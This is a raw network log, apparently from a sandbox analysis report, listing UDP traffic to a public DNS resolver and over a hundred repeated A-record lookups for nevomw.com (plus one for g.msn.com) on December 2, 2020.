Dec 2, 2020 11:54:29.417880058 CET	53	51886	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:29.797132969 CET	52789	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:29.824332952 CET	53	52789	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:30.181869030 CET	52738	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:30.208987951 CET	53	52738	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:30.601612091 CET	63850	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:30.628851891 CET	53	63850	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:30.985236883 CET	65095	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:31.012420893 CET	53	65095	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:31.439317942 CET	50442	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:31.466401100 CET	53	50442	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:31.882524014 CET	53463	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:31.909837961 CET	53	53463	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:32.338794947 CET	55627	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:32.366041899 CET	53	55627	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:32.798295021 CET	56716	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:32.825603962 CET	53	56716	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:33.233997107 CET	56625	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:33.261178970 CET	53	56625	8.8.8.8	192.168.2.6
Dec 2, 2020 11:54:33.669555902 CET	55897	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:54:33.696609020 CET	53	55897	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 2, 2020 11:52:41.218013048 CET	192.168.2.6	8.8.8.8	0x1c2a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:41.767638922 CET	192.168.2.6	8.8.8.8	0xf17a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:42.105349064 CET	192.168.2.6	8.8.8.8	0x597	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:42.570950985 CET	192.168.2.6	8.8.8.8	0xb42c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:43.039609909 CET	192.168.2.6	8.8.8.8	0x5e0b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:43.673294067 CET	192.168.2.6	8.8.8.8	0xd940	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:44.272181034 CET	192.168.2.6	8.8.8.8	0x377c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:44.716902018 CET	192.168.2.6	8.8.8.8	0x2af8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:45.576247931 CET	192.168.2.6	8.8.8.8	0x74b6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:46.081265926 CET	192.168.2.6	8.8.8.8	0xf5b6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.086719990 CET	192.168.2.6	8.8.8.8	0x6d5a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.525657892 CET	192.168.2.6	8.8.8.8	0x42cd	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:47.956501961 CET	192.168.2.6	8.8.8.8	0xa47c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:48.383275032 CET	192.168.2.6	8.8.8.8	0xc78b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:48.786987066 CET	192.168.2.6	8.8.8.8	0x73ab	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:49.203802109 CET	192.168.2.6	8.8.8.8	0x559c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:49.659370899 CET	192.168.2.6	8.8.8.8	0x5065	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.093799114 CET	192.168.2.6	8.8.8.8	0x33c8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.534687996 CET	192.168.2.6	8.8.8.8	0x27dd	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:50.974617958 CET	192.168.2.6	8.8.8.8	0x19b1	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.391402960 CET	192.168.2.6	8.8.8.8	0x942b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:51.891607046 CET	192.168.2.6	8.8.8.8	0x6e91	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:52.391201973 CET	192.168.2.6	8.8.8.8	0xc7ad	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:52.787806034 CET	192.168.2.6	8.8.8.8	0x7f49	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:53.241023064 CET	192.168.2.6	8.8.8.8	0xca0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:53.685561895 CET	192.168.2.6	8.8.8.8	0x8644	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:54.084891081 CET	192.168.2.6	8.8.8.8	0x492c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:54.560220957 CET	192.168.2.6	8.8.8.8	0xe04a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.011075020 CET	192.168.2.6	8.8.8.8	0xfb94	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.415225983 CET	192.168.2.6	8.8.8.8	0xb63a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:55.873862982 CET	192.168.2.6	8.8.8.8	0x517	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:56.396317005 CET	192.168.2.6	8.8.8.8	0x8eee	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:56.770127058 CET	192.168.2.6	8.8.8.8	0x5753	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:57.169342041 CET	192.168.2.6	8.8.8.8	0x222c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:57.657506943 CET	192.168.2.6	8.8.8.8	0x1643	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.035134077 CET	192.168.2.6	8.8.8.8	0x4cfb	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.479775906 CET	192.168.2.6	8.8.8.8	0xe14c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:58.879780054 CET	192.168.2.6	8.8.8.8	0x1d80	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:59.275832891 CET	192.168.2.6	8.8.8.8	0xec8d	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:52:59.678181887 CET	192.168.2.6	8.8.8.8	0xa247	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.166532040 CET	192.168.2.6	8.8.8.8	0x849f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.558366060 CET	192.168.2.6	8.8.8.8	0xd9e7	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:00.962841988 CET	192.168.2.6	8.8.8.8	0xd1a0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:01.440953970 CET	192.168.2.6	8.8.8.8	0xa8e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:01.910465002 CET	192.168.2.6	8.8.8.8	0xc733	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:02.286391020 CET	192.168.2.6	8.8.8.8	0x7c06	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:02.878704071 CET	192.168.2.6	8.8.8.8	0x14e8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:03.308295965 CET	192.168.2.6	8.8.8.8	0x4814	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:04.113468885 CET	192.168.2.6	8.8.8.8	0xeeda	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:05.247956038 CET	192.168.2.6	8.8.8.8	0xe9c5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:05.641532898 CET	192.168.2.6	8.8.8.8	0x6d9f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.013871908 CET	192.168.2.6	8.8.8.8	0xa6d0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.460585117 CET	192.168.2.6	8.8.8.8	0x8c0c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:06.890744925 CET	192.168.2.6	8.8.8.8	0xb320	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:07.282875061 CET	192.168.2.6	8.8.8.8	0xe178	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:07.757424116 CET	192.168.2.6	8.8.8.8	0x82e7	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:08.224451065 CET	192.168.2.6	8.8.8.8	0xf1ed	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:09.288620949 CET	192.168.2.6	8.8.8.8	0xf1ed	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.472949982 CET	192.168.2.6	8.8.8.8	0x886e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:10.939058065 CET	192.168.2.6	8.8.8.8	0x2363	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:11.357434034 CET	192.168.2.6	8.8.8.8	0xa1b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:11.856349945 CET	192.168.2.6	8.8.8.8	0xf955	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:12.288547993 CET	192.168.2.6	8.8.8.8	0x2df6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:12.675846100 CET	192.168.2.6	8.8.8.8	0x73ee	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:13.154231071 CET	192.168.2.6	8.8.8.8	0x9cdc	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:13.602885008 CET	192.168.2.6	8.8.8.8	0x2134	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.028386116 CET	192.168.2.6	8.8.8.8	0x49d1	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.418385029 CET	192.168.2.6	8.8.8.8	0x2017	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:14.831980944 CET	192.168.2.6	8.8.8.8	0x3baa	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:15.284384966 CET	192.168.2.6	8.8.8.8	0xe4e5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:15.667623997 CET	192.168.2.6	8.8.8.8	0x31d0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.030819893 CET	192.168.2.6	8.8.8.8	0x7094	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.411999941 CET	192.168.2.6	8.8.8.8	0xfbc6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:16.780730963 CET	192.168.2.6	8.8.8.8	0x7453	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.151694059 CET	192.168.2.6	8.8.8.8	0x4184	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.514981985 CET	192.168.2.6	8.8.8.8	0xe1e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:17.956578970 CET	192.168.2.6	8.8.8.8	0x986b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:18.336477995 CET	192.168.2.6	8.8.8.8	0x6920	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:18.710259914 CET	192.168.2.6	8.8.8.8	0x4b5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.234713078 CET	192.168.2.6	8.8.8.8	0xfce1	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.627461910 CET	192.168.2.6	8.8.8.8	0x2f7	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:19.864814997 CET	192.168.2.6	8.8.8.8	0x5b32	Standard query (0)	g.msn.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:20.131280899 CET	192.168.2.6	8.8.8.8	0x769f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:20.728956938 CET	192.168.2.6	8.8.8.8	0xa7f3	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:21.179210901 CET	192.168.2.6	8.8.8.8	0x8802	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:21.933065891 CET	192.168.2.6	8.8.8.8	0x1cc5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.109603882 CET	192.168.2.6	8.8.8.8	0x44be	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.515954018 CET	192.168.2.6	8.8.8.8	0xac3	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:23.884077072 CET	192.168.2.6	8.8.8.8	0xc754	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:24.321515083 CET	192.168.2.6	8.8.8.8	0x578f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:24.746162891 CET	192.168.2.6	8.8.8.8	0x2c4	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.162528038 CET	192.168.2.6	8.8.8.8	0x78ed	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.535120010 CET	192.168.2.6	8.8.8.8	0x35c3	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:25.947319984 CET	192.168.2.6	8.8.8.8	0x95cd	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:26.361608982 CET	192.168.2.6	8.8.8.8	0x885b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:26.781534910 CET	192.168.2.6	8.8.8.8	0xae0f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:27.201503992 CET	192.168.2.6	8.8.8.8	0x63d9	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:27.631100893 CET	192.168.2.6	8.8.8.8	0xf26c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.056104898 CET	192.168.2.6	8.8.8.8	0xa306	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.488528967 CET	192.168.2.6	8.8.8.8	0x8c46	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:28.910182953 CET	192.168.2.6	8.8.8.8	0xe388	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:29.335936069 CET	192.168.2.6	8.8.8.8	0xedd5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:29.746006012 CET	192.168.2.6	8.8.8.8	0xb4dc	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.157058954 CET	192.168.2.6	8.8.8.8	0xb5b0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.534432888 CET	192.168.2.6	8.8.8.8	0x716d	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:30.950144053 CET	192.168.2.6	8.8.8.8	0x3e73	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:31.414361000 CET	192.168.2.6	8.8.8.8	0x516a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:31.786268950 CET	192.168.2.6	8.8.8.8	0x2781	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:32.222188950 CET	192.168.2.6	8.8.8.8	0x817f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:32.588006020 CET	192.168.2.6	8.8.8.8	0xfee	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.002825975 CET	192.168.2.6	8.8.8.8	0x6d88	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.441160917 CET	192.168.2.6	8.8.8.8	0x7b98	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:33.848555088 CET	192.168.2.6	8.8.8.8	0xd989	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:34.279545069 CET	192.168.2.6	8.8.8.8	0xe9d9	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:34.717075109 CET	192.168.2.6	8.8.8.8	0x52bc	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.146568060 CET	192.168.2.6	8.8.8.8	0x3ee	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.539638042 CET	192.168.2.6	8.8.8.8	0x97e8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:35.924839973 CET	192.168.2.6	8.8.8.8	0x2578	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:36.347860098 CET	192.168.2.6	8.8.8.8	0x309a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:36.785064936 CET	192.168.2.6	8.8.8.8	0xa809	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:37.224658012 CET	192.168.2.6	8.8.8.8	0xd848	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:37.669658899 CET	192.168.2.6	8.8.8.8	0xf248	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.092999935 CET	192.168.2.6	8.8.8.8	0x48f6	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.512728930 CET	192.168.2.6	8.8.8.8	0xfe47	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:38.875746965 CET	192.168.2.6	8.8.8.8	0xc8e2	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:39.301574945 CET	192.168.2.6	8.8.8.8	0xfe89	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:39.725230932 CET	192.168.2.6	8.8.8.8	0x6fc5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:40.219691038 CET	192.168.2.6	8.8.8.8	0x392f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:40.580743074 CET	192.168.2.6	8.8.8.8	0x85e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.038954973 CET	192.168.2.6	8.8.8.8	0x9a85	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.423147917 CET	192.168.2.6	8.8.8.8	0x5e69	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:41.821149111 CET	192.168.2.6	8.8.8.8	0x2f9a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:42.263540030 CET	192.168.2.6	8.8.8.8	0xa075	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:44.639374018 CET	192.168.2.6	8.8.8.8	0xd470	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.021672964 CET	192.168.2.6	8.8.8.8	0x6e0a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.443512917 CET	192.168.2.6	8.8.8.8	0xf72c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:45.885236025 CET	192.168.2.6	8.8.8.8	0x8dec	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:46.304502964 CET	192.168.2.6	8.8.8.8	0xe962	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:46.728537083 CET	192.168.2.6	8.8.8.8	0xd3f1	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.133272886 CET	192.168.2.6	8.8.8.8	0xc1eb	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.572877884 CET	192.168.2.6	8.8.8.8	0x690a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:47.995712996 CET	192.168.2.6	8.8.8.8	0xa50	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.408747911 CET	192.168.2.6	8.8.8.8	0x1b9b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:48.832439899 CET	192.168.2.6	8.8.8.8	0x494b	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:49.251580000 CET	192.168.2.6	8.8.8.8	0x291d	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:49.627768993 CET	192.168.2.6	8.8.8.8	0x2409	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.035084009 CET	192.168.2.6	8.8.8.8	0xec53	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.434282064 CET	192.168.2.6	8.8.8.8	0x9c3a	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:50.894686937 CET	192.168.2.6	8.8.8.8	0x799f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:51.414562941 CET	192.168.2.6	8.8.8.8	0xcf48	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:51.783464909 CET	192.168.2.6	8.8.8.8	0xcd04	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:52.171829939 CET	192.168.2.6	8.8.8.8	0x3126	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:52.585572958 CET	192.168.2.6	8.8.8.8	0xa957	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.006575108 CET	192.168.2.6	8.8.8.8	0x455	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.381268024 CET	192.168.2.6	8.8.8.8	0x37f3	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:53.810909986 CET	192.168.2.6	8.8.8.8	0x3db8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:54.208628893 CET	192.168.2.6	8.8.8.8	0xe762	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:54.629021883 CET	192.168.2.6	8.8.8.8	0x9e82	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:55.050055027 CET	192.168.2.6	8.8.8.8	0x58de	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:55.423598051 CET	192.168.2.6	8.8.8.8	0xb965	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:55.850387096 CET	192.168.2.6	8.8.8.8	0xdae0	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:56.248869896 CET	192.168.2.6	8.8.8.8	0xad39	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:56.647577047 CET	192.168.2.6	8.8.8.8	0x7da5	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:57.027770042 CET	192.168.2.6	8.8.8.8	0x4cd8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:57.430881977 CET	192.168.2.6	8.8.8.8	0x1880	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:57.886060953 CET	192.168.2.6	8.8.8.8	0x648c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:58.272211075 CET	192.168.2.6	8.8.8.8	0x514c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:58.649456024 CET	192.168.2.6	8.8.8.8	0xba0d	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:59.079360962 CET	192.168.2.6	8.8.8.8	0x90c	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:59.472974062 CET	192.168.2.6	8.8.8.8	0xbdf9	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:53:59.913703918 CET	192.168.2.6	8.8.8.8	0x6ecb	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:00.307252884 CET	192.168.2.6	8.8.8.8	0xa4ed	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:00.705884933 CET	192.168.2.6	8.8.8.8	0x49b8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:01.120301008 CET	192.168.2.6	8.8.8.8	0x1f48	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:01.509221077 CET	192.168.2.6	8.8.8.8	0x6a03	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:01.956480980 CET	192.168.2.6	8.8.8.8	0x917e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:02.397713900 CET	192.168.2.6	8.8.8.8	0xb219	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:02.774084091 CET	192.168.2.6	8.8.8.8	0xedd8	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:03.318240881 CET	192.168.2.6	8.8.8.8	0x3075	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:03.729955912 CET	192.168.2.6	8.8.8.8	0x441e	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:04.140897989 CET	192.168.2.6	8.8.8.8	0xcf0f	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:04.599097967 CET	192.168.2.6	8.8.8.8	0xd7c9	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:04.985646963 CET	192.168.2.6	8.8.8.8	0x70ff	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:05.616873026 CET	192.168.2.6	8.8.8.8	0xc671	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
Dec 2, 2020 11:54:06.028312922 CET	192.168.2.6	8.8.8.8	0x5979	Standard query (0)	nevomw.com	A (IP address)	IN (0x0001)
